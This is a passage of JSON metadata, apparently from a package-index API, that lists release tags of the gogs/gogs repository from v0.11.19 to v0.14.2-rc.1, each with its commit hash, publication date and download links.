ag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.2-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.2-rc.1/manifests"},{"name":"v0.14.1","sha":"f5c8030c1fd936f3e0e9f774e3c7c39fd102f56f","kind":"commit","published_at":"2026-02-01T03:28:11.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.1/manifests"},{"name":"v0.14.1-rc.1","sha":"f5c8030c1fd936f3e0e9f774e3c7c39fd102f56f","kind":"commit","published_at":"2026-02-01T03:28:11.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.1-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.1-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.1-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.1-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.1-rc.1/manifests"},{"name":"v0.14.0","sha":"36c26c4ccc3ca0339db53eb1fa41e4e86b55163d","kind":"commit","published_at":"2026-01-31T21:32:58.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.0/manifests"},{"name":"v0.14.0-rc.1","sha":"36c26c4ccc3ca0339db53eb1fa41e4e86b55163d","kind":"commit","published_at":"2026-01-31T21:32:58.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.0-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.0-rc.1/manifests"},{"name":"v0.13.4","sha":"d958a47a0e9d8747e399c687fdb3ec64a3b1a736","kind":"commit","published_at":"2026-01-23T17:38:11.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.4","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4/manifests"},{"name":"v0.13.4-rc.3","sha":"d958a47a0e9d8747e399c687fdb3ec64a3b1a736","kind":"commit","published_at":"2026-01-23T17:38:11.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.4-rc.3","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.4-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.4-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4-rc.3/manifests"},{"name":"v0.13.4-rc.2","sha":"282f3c0c70cd30e5b010f96839b12a30b202f4d6","kind":"commit","published_at":"2026-01-23T17:35:06.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.4-rc.2","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.4-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.4-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4-rc.2/manifests"},{"name":"v0.13.4-rc.1","sha":"89ad16f9b390f8bbb03b3a3627cc0ccb7df8c648","kind":"commit","published_at":"2026-01-23T17:28:00.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.4-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.4-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.4-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4-rc.1/manifests"},{"name":"v0.13.3","sha":"5084b4a9b77a506f5e287e82e945e1c6882b827a","kind":"commit","published_at":"2025-06-08T22:55:56.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.3","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.3/manifests"},{"name":"v0.13.3-rc.1","sha":"5084b4a9b77a506f5e287e82e945e1c6882b827a","kind":"commit","published_at":"2025-06-08T22:55:56.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.3-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.3-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.3-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.3-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.3-rc.1/manifests"},{"name":"v0.13.2","sha":"593c7b6db601c68d16b2fb9a7e1194cb816f5efb","kind":"commit","published_at":"2024-12-23T15:57:35.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.2","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.2/manifests"},{"name":"v0.13.2-rc.1","sha":"593c7b6db601c68d16b2fb9a7e1194cb816f5efb","kind":"commit","published_at":"2024-12-23T15:57:35.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.2-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.2-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.2-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.2-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.2-rc.1/manifests"},{"name":"v0.13.1","sha":"0c40e600a275d490481cfeea53705810fbe94d9b","kind":"commit","published_at":"2024-12-22T22:54:57.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.1/manifests"},{"name":"v0.13.1-rc.1","sha":"0c40e600a275d490481cfeea53705810fbe94d9b","kind":"commit","published_at":"2024-12-22T22:54:57.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.1-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.1-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.1-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.1-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.1-rc.1/manifests"},{"name":"v0.13.0-rc.1","sha":"8c21874c00b6100d46b662f65baeb40647442f42","kind":"commit","published_at":"2023-02-25T12:33:19.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.0-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.0-rc.1/manifests"},{"name":"v0.13.0","sha":"8c21874c00b6100d46b662f65baeb40647442f42","kind":"commit","published_at":"2023-02-25T12:33:19.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.0/manifests"},{"name":"v0.12.11-rc.1","sha":"c9fba3cb30af0789fcf89098dfcb8f2286ee7d3b","kind":"commit","published_at":"2023-02-25T05:39:54.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.11-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.11-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.11-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.11-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.11-rc.1/manifests"},{"name":"v0.12.11","sha":"c9fba3cb30af0789fcf89098dfcb8f2286ee7d3b","kind":"commit","published_at":"2023-02-25T05:39:54.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.11","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.11/manifests"},{"name":"v0.12.10","sha":"1ce5171ae170750298c150874e718740dd7ef69f","kind":"commit","published_at":"2022-08-02T03:01:04.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.10","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.10/manifests"},{"name":"v0.12.10-rc.1","sha":"1ce5171ae170750298c150874e718740dd7ef69f","kind":"commit","published_at":"2022-08-02T03:01:04.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.10-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.10-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.10-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.10-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.10-rc.1/manifests"},{"name":"v0.12.9","sha":"012a1ba19ed2f8f5185be4254f655ba6c4b34db2","kind":"commit","published_at":"2022-06-07T13:29:32.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.9","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.9/manifests"},{"name":"v0.12.9-rc.1","sha":"012a1ba19ed2f8f5185be4254f655ba6c4b34db2","kind":"commit","published_at":"2022-06-07T13:29:32.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.9-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.9-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.9-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.9-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.9-rc.1/manifests"},{"name":"v0.12.8","sha":"7f8799c01f264eb7770766621fb68debee414b68","kind":"commit","published_at":"2022-05-31T08:47:45.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.8","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.8/manifests"},{"name":"v0.12.8-rc.1","sha":"7f8799c01f264eb7770766621fb68debee414b68","kind":"commit","published_at":"2022-05-31T08:47:45.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.8-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.8-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.8-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.8-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.8-rc.1/manifests"},{"name":"v0.12.7","sha":"d06ba7e527fcc462aecdb660ce001e87d94f024c","kind":"commit","published_at":"2022-05-05T08:18:01.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.7","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.7/manifests"},{"name":"v0.12.7-rc.1","sha":"d06ba7e527fcc462aecdb660ce001e87d94f024c","kind":"commit","published_at":"2022-05-05T08:18:01.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.7-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.7-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.7-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.7-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.7-rc.1/manifests"},{"name":"v0.12.6","sha":"26395294bdef382b577fd60234e5bb14f4090cc8","kind":"commit","published_at":"2022-03-19T06:39:55.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.6","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.6/manifests"},{"name":"v0.12.6-rc.1","sha":"26395294bdef382b577fd60234e5bb14f4090cc8","kind":"commit","published_at":"2022-03-19T06:39:55.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.6-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.6-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.6-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.6-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.6-rc.1/manifests"},{"name":"v0.12.5","sha":"e309bc8324ca0799a320169747c2f11d56968631","kind":"commit","published_at":"2022-03-11T06:58:57.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.5","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.5/manifests"},{"name":"v0.12.5-rc.1","sha":"e309bc8324ca0799a320169747c2f11d56968631","kind":"commit","published_at":"2022-03-11T06:58:57.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.5-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.5-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.5-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.5-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.5-rc.1/manifests"},{"name":"v0.12.4","sha":"d4ae178b72d78abcb82494f3e43d7767c07ab679","kind":"commit","published_at":"2022-01-17T02:19:45.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.4","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.4/manifests"},{"name":"v0.12.4-rc.1","sha":"d4ae178b72d78abcb82494f3e43d7767c07ab679","kind":"commit","published_at":"2022-01-17T02:19:45.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.4-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.4-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.4-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.4-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.4-rc.1/manifests"},{"name":"v0.12.3","sha":"f0e3cd90f8d7695960eeef2e4e54b2e717302f6c","kind":"commit","published_at":"2020-10-07T14:39:36.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.3","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.3/manifests"},{"name":"v0.12.2","sha":"253b2bef4c26925d2fd0555aa8911cd21fb68b8c","kind":"commit","published_at":"2020-09-26T08:53:26.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.2","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.2/manifests"},{"name":"v0.12.1","sha":"43fc8260850090b55d4ee2586a819b3b6c016279","kind":"commit","published_at":"2020-08-27T06:47:41.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.1/manifests"},{"name":"v0.12.0","sha":"f17e7d5a2c36c52a1121d2315f3d75dcd8053b89","kind":"commit","published_at":"2020-08-22T09:55:16.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.12.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.12.0/manifests"},{"name":"v0.11.91","sha":"c154721f4a8f3e24d2f6fb61e74b4b64529255c2","kind":"commit","published_at":"2019-08-12T01:59:46.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.91","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.91","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.91","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.91","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.91/manifests"},{"name":"v0.11.86","sha":"06b6eaba060f8b874a4c2a8c84515b2ea45321d6","kind":"commit","published_at":"2019-01-31T02:59:10.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.86","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.86","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.86","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.86","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.86/manifests"},{"name":"v0.11.79","sha":"f43d21d0aff791780aaca5770e0bc92c39c803d3","kind":"commit","published_at":"2018-12-12T03:17:09.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.79","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.79","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.79","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.79","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.79/manifests"},{"name":"v0.11.66","sha":"3a4c981e3167875a3b60d0cee00ee85272608439","kind":"commit","published_at":"2018-09-16T15:53:32.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.66","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.66","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.66","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.66","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.66/manifests"},{"name":"v0.11.53","sha":"91441c3fb29d8ead645d8fffa4658d749d5b3fc3","kind":"commit","published_at":"2018-06-04T23:31:34.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.53","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.53","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.53","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.53","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.53/manifests"},{"name":"v0.11.43","sha":"2978bb1773a6511bf07678e2f1371dc413057bec","kind":"commit","published_at":"2018-03-31T03:26:48.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.43","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.43/manifests"},{"name":"v0.11.34","sha":"6f2347fc71f17b5703a9b1f383a2d3451f88b741","kind":"commit","published_at":"2017-11-22T19:46:14.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.34","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.34/manifests"},{"name":"v0.11.33","sha":"b752fe680811119954ccef051e6f3b3e2a04c2e8","kind":"commit","published_at":"2017-11-19T18:29:06.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.33","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.33/manifests"},{"name":"v0.11.29","sha":"b1100b5e345a8a6f5e3f3dfd19e18c9cc8b499e8","kind":"commit","published_at":"2017-08-15T22:20:28.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.29","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.29/manifests"},{"name":"v0.11.19","sha":"6197a7639a88f7fb0fee8927e1d501504ae770ff","kind":"commit","published_at":"2017-06-10T05:43:18.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.19","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.19","tag_url":"https://repos.ecosyste.m